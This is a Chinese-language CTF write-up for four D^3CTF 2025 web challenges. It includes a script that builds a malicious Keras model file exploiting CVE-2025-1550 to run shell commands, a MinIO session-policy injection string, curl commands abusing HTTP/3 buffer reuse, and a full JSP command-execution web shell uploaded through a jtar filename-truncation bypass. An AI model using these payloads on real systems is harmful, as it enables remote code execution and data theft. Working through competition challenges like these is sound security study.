d3model
从 requirements.txt 中看到 Keras 版本 3.8.0,由此可以搜到 CVE-2025-1550
参考此文章:https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
文中的代码可以直接用。运行后将生成的 keras 文件上传,就会执行 env 写入 index.html
import os
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
model_name = "test.keras"
x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)
model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])
model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)
with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())
config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args": [["/bin/bash", "-c", "env>>index.html"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}
with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))
os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)
with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))
print("[+] Malicious model ready")
d3invitation
有 minio 和 webapp 两个服务
这个 web 服务可以通过上传的图片和输入的 id 生成一个邀请函
重点在于图片上传。主要的交互逻辑在 tools.js
中:
function generateInvitation(user_id, avatarFile) {
if (avatarFile) {
object_name = avatarFile.name;
genSTSCreds(object_name)
.then(credsData => {
return putAvatar(
credsData.access_key_id,
credsData.secret_access_key,
credsData.session_token,
object_name,
avatarFile
).then(() => {
navigateToInvitation(
user_id,
credsData.access_key_id,
credsData.secret_access_key,
credsData.session_token,
object_name
)
})
})
.catch(error => {
console.error('Error generating STS credentials or uploading avatar:', error);
});
} else {
navigateToInvitation(user_id);
}
}
function navigateToInvitation(user_id, access_key_id, secret_access_key, session_token, object_name) {
let url = `invitation?user_id=${encodeURIComponent(user_id)}`;
if (access_key_id) {
url += `&access_key_id=${encodeURIComponent(access_key_id)}`;
}
if (secret_access_key) {
url += `&secret_access_key=${encodeURIComponent(secret_access_key)}`;
}
if (session_token) {
url += `&session_token=${encodeURIComponent(session_token)}`;
}
if (object_name) {
url += `&object_name=${encodeURIComponent(object_name)}`;
}
window.location.href = url;
}
function genSTSCreds(object_name) {
return new Promise((resolve, reject) => {
const genSTSJson = {
"object_name": object_name
}
fetch('/api/genSTSCreds', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(genSTSJson)
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
resolve(data);
})
.catch(error => {
reject(error);
});
});
}
function getAvatarUrl(access_key_id, secret_access_key, session_token, object_name) {
return `/api/getObject?access_key_id=${encodeURIComponent(access_key_id)}&secret_access_key=${encodeURIComponent(secret_access_key)}&session_token=${encodeURIComponent(session_token)}&object_name=${encodeURIComponent(object_name)}`
}
function putAvatar(access_key_id, secret_access_key, session_token, object_name, avatar) {
return new Promise((resolve, reject) => {
const formData = new FormData();
formData.append('access_key_id', access_key_id);
formData.append('secret_access_key', secret_access_key);
formData.append('session_token', session_token);
formData.append('object_name', object_name);
formData.append('avatar', avatar);
fetch('/api/putObject', {
method: 'POST',
body: formData
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
resolve(data);
})
.catch(error => {
reject(error);
});
});
}
如果有头像文件的话,会向 /api/genSTSCreds
接口发送请求,获取一个临时 STS 凭证(包含 access_key_id
secret_access_key
session_token
),然后用这个凭证上传头像文件。在邀请函页面会用这个凭证读取图片:document.getElementById('userAvatarDisplay').src = getAvatarUrl(access_key_id, secret_access_key, session_token, object_name);
因为获取到凭证后马上跳转了,并且清除了查询参数。抓包看看一下这个 Credential
session_token 看起来像 JWT。到 jwt.io 解一下看看
再对 sessionPolicy
字段 Base64 解码:
{
"Version":"2012-10-17",
"Statement": [{
"Effect":"Allow",
"Action": ["s3:GetObject","s3:PutObject"],
"Resource": ["arn:aws:s3:::d3invitation/test"]
}]
}
看来这就是它的 Policy 了
在 MinIO 中 Policy 是实现基于策略的访问控制(Policy-Based Access Control, PBAC)的核心机制。它定义了哪个用户(或用户组)可以对哪些资源执行哪些操作
简单来说,上面这个 Policy 授予了对 d3invitation
存储桶内 test
这个特定对象的读(获取)和写(放置/覆盖)权限
"Version":"2012-10-17"
:指定了策略语言的版本,这是一个标准值。"Statement": [...]
:包含一个或多个权限声明。这里只有一个声明。"Effect":"Allow"
:表示这个声明的效果是“允许”。"Action": ["s3:GetObject","s3:PutObject"]
:指定了允许执行的具体操作列表。s3:GetObject
:允许获取对象内容。s3:PutObject
:允许上传或覆盖对象。
"Resource": ["arn:aws:s3:::d3invitation/test"]
:指定了这些操作可以应用的资源。arn:aws:s3:::
:是 S3 资源的 ARN (Amazon Resource Name) 格式前缀。d3invitation
:是存储桶的名称。/test
:是存储桶内对象的键名(路径/文件名)。这里指的是名为test
的单个对象
可以注意到桶的名称就是上传的图片名。那么可以尝试注入
提前闭合符号,注入第二个 Statement,使得能够有对所有桶的所有权限:
*"]},{"Effect":"Allow","Action":["s3:*"],"Resource":["arn:aws:s3:::*
带上获取到的 Credential 通过 mc 访问 MinIO 获取 flag:
# export MC_HOST_ctfminio="http://ACCESS_KEY:SECRET_KEY:[email protected]:9000"
❯ export MC_HOST_ctf="http://7RNQ1L1AY3EKKHDBXTEY:8lpv+KRODSzxXyd15fGRpZGZVwYvo0caLhL7FaAJ:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI3Uk5RMUwxQVkzRUtLSERCWFRFWSIsImV4cCI6MTc0ODk2MTExNSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.JoadtsPVLLo0JSW_HOVmpR1fvwS_geYGYFvr3_Wk_6i-YzS7mvvU1UHhmfGvPX4GKKy1etZ99jZM8-19-0fIkA@35.241.98.126:31129"
❯ mc ls ctf
[2025-06-03 19:59:47 CST] 0B d3invitation/
[2025-06-03 19:59:47 CST] 0B flag/
❯ mc ls ctf/flag
[2025-06-03 20:42:51 CST] 56B STANDARD flag
❯ mc cat ctf/flag/flag
d3ctf{1-thinK-WE_haVE-3ncOuNt3Red-POI1CY-InJEcT1oN?!41}
tidy quic
题目源码:
package main
import (
"bytes"
"errors"
"github.com/libp2p/go-buffer-pool"
"github.com/quic-go/quic-go/http3"
"io"
"log"
"net/http"
"os"
)
var p pool.BufferPool // 声明一个全局的缓冲区池实例,用于优化 []byte 的分配
var ErrWAF = errors.New("WAF") // 定义一个自定义错误,表示 WAF 触发
func main() {
// 启动一个 goroutine 来监听 HTTPS (TLS) 请求
go func() {
// 在 8080 端口上启动一个 HTTPS 服务器
// "./server.crt" 和 "./server.key" 是 TLS 证书和私钥文件
// &mux{} 是自定义的 HTTP 请求处理器
err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err) // 如果服务器启动失败,记录致命错误并退出
}()
// 启动另一个 goroutine 来监听 HTTP/3 (QUIC) 请求
go func() {
// 在 8080 端口上启动一个 HTTP/3 服务器 (QUIC 使用 UDP,可以和 TCP 监听同一端口号)
// 使用相同的证书和密钥,以及相同的请求处理器
err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err) // 如果服务器启动失败,记录致命错误并退出
}()
select {} // 阻塞 main goroutine,使服务器持续运行,直到程序被外部终止
}
// 一个自定义的 HTTP 请求处理器类型
type mux struct {
}
// ServeHTTP 方法实现了 http.Handler 接口,用于处理所有传入的 HTTP 请求
func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// 处理 GET 请求
if r.Method == http.MethodGet {
_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web.")) // 发送一个欢迎信息
return
}
// 如果不是 GET 也不是 POST 请求,返回 400 Bad Request
if r.Method != http.MethodPost {
w.WriteHeader(400)
return
}
// 以下处理 POST 请求
var buf []byte // 用于存储请求体内容
length := int(r.ContentLength) // 获取请求体的长度
if length == -1 { // 如果 ContentLength 未知
var err error
// 使用 textInterrupterWrap 包装请求体,然后读取所有内容
// textInterrupterWrap 包含 WAF 逻辑
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
if err != nil {
if errors.Is(err, ErrWAF) { // 如果是 WAF 错误
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF")) // 返回 WAF 提示
} else { // 其他读取错误
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
}
return
}
} else { // 如果 ContentLength 已知
buf = p.Get(length) // 从缓冲区池获取一个指定长度的字节切片
defer p.Put(buf) // 函数结束时将字节切片归还给池
rd := textInterrupterWrap(r.Body) // 包装请求体以启用 WAF
i := 0 // 当前已读取到 buf 中的字节数
for { // 循环读取,直到读取完或出错
n, err := rd.Read(buf[i:]) // 从包装后的请求体读取数据到 buf
if err != nil {
if errors.Is(err, io.EOF) { // 如果到达文件末尾
break // 读取完成
} else if errors.Is(err, ErrWAF) { // 如果是 WAF 错误
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
return
} else { // 其他读取错误
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
return
}
}
i += n // 累加已读取的字节数
}
buf = buf[:i] // 调整 buf 的实际长度为读取到的内容长度
}
// 检查请求体内容是否以 "I want" 开头
if !bytes.HasPrefix(buf, []byte("I want")) {
_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
return
}
// 提取 "I want" 之后的部分,并去除首尾空格
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
// 如果提取出的 item 是 "flag"
if bytes.Equal(item, []byte("flag")) {
// 从环境变量 "FLAG" 中获取值并返回
_, _ = w.Write([]byte(os.Getenv("FLAG")))
} else {
// 否则,回显提取出的 item
_, _ = w.Write(item)
}
}
// wrap 是一个自定义的 io.ReadCloser 实现,用于在读取时检查特定字符串(WAF 功能)
type wrap struct {
io.ReadCloser // 嵌入原始的 io.ReadCloser (例如 http.Request.Body)
ban []byte // 要禁止的字节序列 (这里是 "flag")
idx int // 当前匹配到 ban 序列中的位置
}
// Read 方法实现了 io.Reader 接口
func (w *wrap) Read(p []byte) (int, error) {
// 从原始的 ReadCloser 读取数据到缓冲区 p
n, err := w.ReadCloser.Read(p)
// 如果有错误且不是 EOF (文件结束),则直接返回
if err != nil && !errors.Is(err, io.EOF) {
return n, err
}
// 遍历本次读取到的字节 (p[:n])
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] { // 如果当前字节与 ban 序列中期望的字节匹配
w.idx++ // 匹配索引向前移动
if w.idx == len(w.ban) { // 如果 ban 序列 ("flag") 被完整匹配
return n, ErrWAF // 返回已读取的字节数 n 和 WAF 错误
}
} else { // 如果当前字节不匹配
// 如果不匹配,但 p[i] 恰好是 ban[0] (例如,正在匹配 "flag",遇到 "flf",则从新的 'f' 开始重新匹配)
if p[i] == w.ban[0] {
w.idx = 1
} else {
w.idx = 0 // 重置匹配索引
}
}
}
return n, err // 返回读取的字节数和原始错误 (可能是 EOF 或 nil)
}
// textInterrupterWrap 是一个辅助函数,用于创建一个 wrap 实例
// 它接收一个 io.ReadCloser (如请求体),并返回一个包装了 WAF 功能的 wrap 实例
func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
return &wrap{
ReadCloser: rc,
ban: []byte("flag"), // WAF 要拦截的关键词是 "flag"
idx: 0,
}
}
看来要发送一个 “I want flag” 文本,但是 flag 这个关键词会被 WAF 拦截
在 HTTP/3 中,请求和响应体通过 QUIC 流进行传输。当客户端在请求体所在的 QUIC 流上发送 FIN 标志时,明确表示其已完成发送。
服务端应用程序通过读取该流(如 Go 中的 Read()
方法)接收数据。如果客户端在尚未发送完整请求体(即小于 Content-Length
所声明的长度)时即发送 FIN,读取操作将按以下方式表现:
- 读取行为:服务器将接收所有已传输的数据,并在到达流末尾时返回
io.EOF
,标志流已终止 - 不等待 Content-Length 完整:QUIC 层以 FIN 为终点,不会因
Content-Length
未满足而延迟或阻塞读取操作 - 应用层验证责任:读取结束后,应用程序需校验实际接收数据是否满足
Content-Length
。若数据不足,根据 HTTP/3(RFC 9114)规范,这应视为畸形请求,服务器可据此返回适当的 4xx 错误
题目代码通过 Content-Length
字段的值获取相应长度的字节切片,但不验证实际请求体长度
先看一下存在 Content-Length
时的数据读取过程:
- 准备一个固定大小的容器 (
buf
)。 - 不断地从数据源 (
rd
) 读取数据到容器中尚未填满的部分 (buf[i:]
)。 - 每次读取完,记录一下总共读了多少 (
i += n
)。 - 直到数据流末 (
io.EOF
) 或者发生错误。 - 容器只显示实际读取到的数据 (
buf = buf[:i]
) - 最后归还缓冲区 (
p.Put(buf)
)
其中归还缓冲区这个操作,主要是将缓冲区本身(即那块内存)标记为可供后续使用,并放回池中。它通常不会主动清除缓冲区中之前读取的数据。池的管理机制关心的是内存块的可用性,而不是内存块当前的内容
因此归还 buf
时,buf
中包含的、在 rd.Read()
操作中读取到的数据,仍然存在于那块内存中
当另一个请求(或同一应用内的其他部分)稍后调用 p.Get(length)
时,如果缓冲池决定复用之前归还的那个 buf
(或者更准确地说,是那块内存),那么新获取到的这个缓冲区将包含上一次使用时留下的数据
length 一样的话,第二次请求有可能复用到第一次请求的缓冲区数据。所以第一次请求传入完整的语句,第二次请求去掉后两位
为了使用 HTTP 3 连接靶机,需要安装一个支持 HTTP 3 的 curl
curl -O https://raw.githubusercontent.com/cloudflare/homebrew-cloudflare/master/curl.rb
brew remove -f --ignore-dependencies curl
./curl.rb
echo 'export PATH="/opt/homebrew/opt/curl/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
curl -k --http3 https://35.241.98.126:31853 -X POST -H "Content-Length: 10" -H "Connection: keep-alive" -d "I wantflag"
curl -k --http3 https://35.241.98.126:31853 -X POST -H "Content-Length: 10" -H "Connection: keep-alive" -d "I wantfl"
jtar
有三个接口
@GetMapping({"/view"})
public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
if (page.matches("^[a-zA-Z0-9-]+$")) {
String viewPath = "/WEB-INF/views/" + page + ".jsp";
String realPath = request.getServletContext().getRealPath(viewPath);
File jspFile = new File(realPath);
if (realPath != null && jspFile.exists()) {
return new ModelAndView(page);
}
}
ModelAndView mav = new ModelAndView("Error");
mav.addObject("message", "The file don't exist.");
return mav;
}
@PostMapping({"/Upload"})
@ResponseBody
public String UploadController(@RequestParam MultipartFile file) {
try {
String uploadDir = "webapps/ROOT/WEB-INF/views";
Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
String filePath = Upload.secureUpload(file, uploadDir, blackList);
return "Upload Success: " + filePath;
} catch (Upload.UploadException var5) {
Upload.UploadException e = var5;
return "The file is forbidden: " + e;
}
}
@PostMapping({"/BackUp"})
@ResponseBody
public String BackUpController(@RequestParam String op) {
if (Objects.equals(op, "tar")) {
try {
BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
return "Success !";
} catch (IOException var3) {
return "Failure : tar Error";
}
} else if (Objects.equals(op, "untar")) {
try {
BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
return "Success !";
} catch (IOException var4) {
return "Failure : untar Error";
}
} else {
return "Failure : option Error";
}
}
文件上传限制很严,上传后会被命名为 <uuid>.后缀
,虽然由于 Java 正则中的 .*
不能匹配行终止符可以绕过文件名检查,但是仍然无法上传黑名单后缀文件
BackUp 中可以对上传目录的所有文件进行 tar 打包和解包操作:
public static void tarDirectory(Path outputFile, Path inputDirectory) throws IOException {
tarDirectory(outputFile, inputDirectory, Collections.emptyList());
}
public static void tarDirectory(Path outputFile, Path inputDirectory, List<String> pathPrefixesToExclude) throws IOException {
FileOutputStream dest = new FileOutputStream(outputFile.toFile());
Path outputFileAbsolute = outputFile.normalize().toAbsolutePath();
Path inputDirectoryAbsolute = inputDirectory.normalize().toAbsolutePath();
int inputPathLength = inputDirectoryAbsolute.toString().length();
TarOutputStream out = new TarOutputStream(new BufferedOutputStream(dest));
Throwable var8 = null;
try {
Files.walk(inputDirectoryAbsolute).forEach((entry) -> {
if (!Files.isDirectory(entry, new LinkOption[0])) {
if (!entry.equals(outputFileAbsolute)) {
try {
String relativeName = entry.toString().substring(inputPathLength + 1);
out.putNextEntry(new TarEntry(entry.toFile(), relativeName));
BufferedInputStream origin = new BufferedInputStream(new FileInputStream(entry.toFile()));
byte[] data = new byte[2048];
int count;
while((count = origin.read(data)) != -1) {
out.write(data, 0, count);
}
out.flush();
origin.close();
} catch (IOException var8) {
IOException e = var8;
e.printStackTrace();
}
}
}
});
} catch (Throwable var17) {
var8 = var17;
throw var17;
} finally {
if (out != null) {
if (var8 != null) {
try {
out.close();
} catch (Throwable var16) {
var8.addSuppressed(var16);
}
} else {
out.close();
}
}
}
}
public static void untar(Path outputDirectory, Path inputTarFile) throws IOException {
FileInputStream fileInputStream = new FileInputStream(inputTarFile.toFile());
Throwable var3 = null;
try {
untar(outputDirectory, (InputStream)fileInputStream);
} catch (Throwable var12) {
var3 = var12;
throw var12;
} finally {
if (fileInputStream != null) {
if (var3 != null) {
try {
fileInputStream.close();
} catch (Throwable var11) {
var3.addSuppressed(var11);
}
} else {
fileInputStream.close();
}
}
}
}
public static void untar(Path outputDirectory, InputStream inputStream) throws IOException {
TarInputStream tarInputStream = new TarInputStream(inputStream);
Throwable var3 = null;
try {
TarEntry entry;
try {
while((entry = tarInputStream.getNextEntry()) != null) {
byte[] data = new byte['耀'];
File outputFile = new File(outputDirectory + "/" + entry.getName());
if (!outputFile.getParentFile().isDirectory()) {
outputFile.getParentFile().mkdirs();
}
FileOutputStream fos = new FileOutputStream(outputFile);
BufferedOutputStream dest = new BufferedOutputStream(fos);
int count;
while((count = tarInputStream.read(data)) != -1) {
dest.write(data, 0, count);
}
dest.flush();
dest.close();
}
} catch (Throwable var17) {
var3 = var17;
throw var17;
}
} finally {
if (tarInputStream != null) {
if (var3 != null) {
try {
tarInputStream.close();
} catch (Throwable var16) {
var3.addSuppressed(var16);
}
} else {
tarInputStream.close();
}
}
}
}
tar
方法中:org.kamranzafar.jtar.TarOutputStream#putNextEntry()
这个方法用于在 tar 归档中开始一个新的条目(entry)。它会写入该条目的元数据,包括文件名、文件大小、权限、时间戳等。然后再调用 write
写入到 tar 归档中。write
从源文件读取数据块 (data
),然后通过 out.write(data, 0, count)
将这些数据块写入到 tar 输出流中
untar
方法中:与 tar
方法相对应。它对于每一个 entry 不断从输入流中读取数据,调用 write
写入到文件输出流
题目名是 "jtar",但这段打包和解包逻辑看起来没有什么问题,问题可能出在 jtar 内部实现中。看一下 TarOutputStream
源码中打包的逻辑。一步步跟进,看看写文件名相关的逻辑:
// org.kamranzafar.jtar.TarOutputStream
public void putNextEntry(TarEntry entry) throws IOException {
closeCurrentEntry();
byte[] header = new byte[TarConstants.HEADER_BLOCK];
entry.writeEntryHeader( header );
write( header );
currentEntry = entry;
}
// org.kamranzafar.jtar.TarEntry
public void writeEntryHeader(byte[] outbuf) {
int offset = 0;
// 获取文件名(Bytes)
offset = TarHeader.getNameBytes(header.name, outbuf, offset, TarHeader.NAMELEN);
offset = Octal.getOctalBytes(header.mode, outbuf, offset, TarHeader.MODELEN);
offset = Octal.getOctalBytes(header.userId, outbuf, offset, TarHeader.UIDLEN);
offset = Octal.getOctalBytes(header.groupId, outbuf, offset, TarHeader.GIDLEN);
long size = header.size;
offset = Octal.getLongOctalBytes(size, outbuf, offset, TarHeader.SIZELEN);
offset = Octal.getLongOctalBytes(header.modTime, outbuf, offset, TarHeader.MODTIMELEN);
int csOffset = offset;
for (int c = 0; c < TarHeader.CHKSUMLEN; ++c)
outbuf[offset++] = (byte) ' ';
outbuf[offset++] = header.linkFlag;
offset = TarHeader.getNameBytes(header.linkName, outbuf, offset, TarHeader.NAMELEN);
offset = TarHeader.getNameBytes(header.magic, outbuf, offset, TarHeader.USTAR_MAGICLEN);
offset = TarHeader.getNameBytes(header.userName, outbuf, offset, TarHeader.USTAR_USER_NAMELEN);
offset = TarHeader.getNameBytes(header.groupName, outbuf, offset, TarHeader.USTAR_GROUP_NAMELEN);
offset = Octal.getOctalBytes(header.devMajor, outbuf, offset, TarHeader.USTAR_DEVLEN);
offset = Octal.getOctalBytes(header.devMinor, outbuf, offset, TarHeader.USTAR_DEVLEN);
offset = TarHeader.getNameBytes(header.namePrefix, outbuf, offset, TarHeader.USTAR_FILENAME_PREFIX);
for (; offset < outbuf.length;)
outbuf[offset++] = 0;
long checkSum = this.computeCheckSum(outbuf);
Octal.getCheckSumOctalBytes(checkSum, outbuf, csOffset, TarHeader.CHKSUMLEN);
}
// org.kamranzafar.jtar.TarHeader
public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) {
int i;
for (i = 0; i < length && i < name.length(); ++i) {
buf[offset + i] = (byte) name.charAt(i);
}
for (; i < length; ++i) {
buf[offset + i] = 0;
}
return offset + length;
}
到了 getNameBytes
这里,通过 StringBuffer#charAt()
方法获取了指定下标的 char,然后强制转换成 byte 类型
因为 Java 中 char 的大小是 2 字节,范围是 0 ~ 65515(\u0000
~ \uffff
),而 byte 是 1 字节,范围是 -128 ~ 127,所以如果 char 超过了 256,就会发生数据截断,即只保留低 8 位
所以就想找到一个字符在转换后变成 j、s、p 中的一个字符
比如 j 二进制表示是 00000000 01101010
,考虑加上一个数,使其低八位不变,只改变高八位
即加上超过 8 位的数字(低八位全为 0)。比如 00000001 00000000
,十进制为 256。相加后为 00000001 01101010
。截断后,就是 01101010
即字符 “j” 了
可以在 Python 中看相加后是哪个字符
>>> chr(256+ord('j'))
'Ū'
所以就传一个 jsp 马,后缀名改成 .Ūsp
,上传后进行备份操作,通过 jtar 打包成 tar 后就会变成 .jsp
,再进行恢复操作,就可以访问这个马了
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
p.waitFor();
} catch (Exception e) {
out.println("Error: " + e.getMessage());
}
}
%>${message}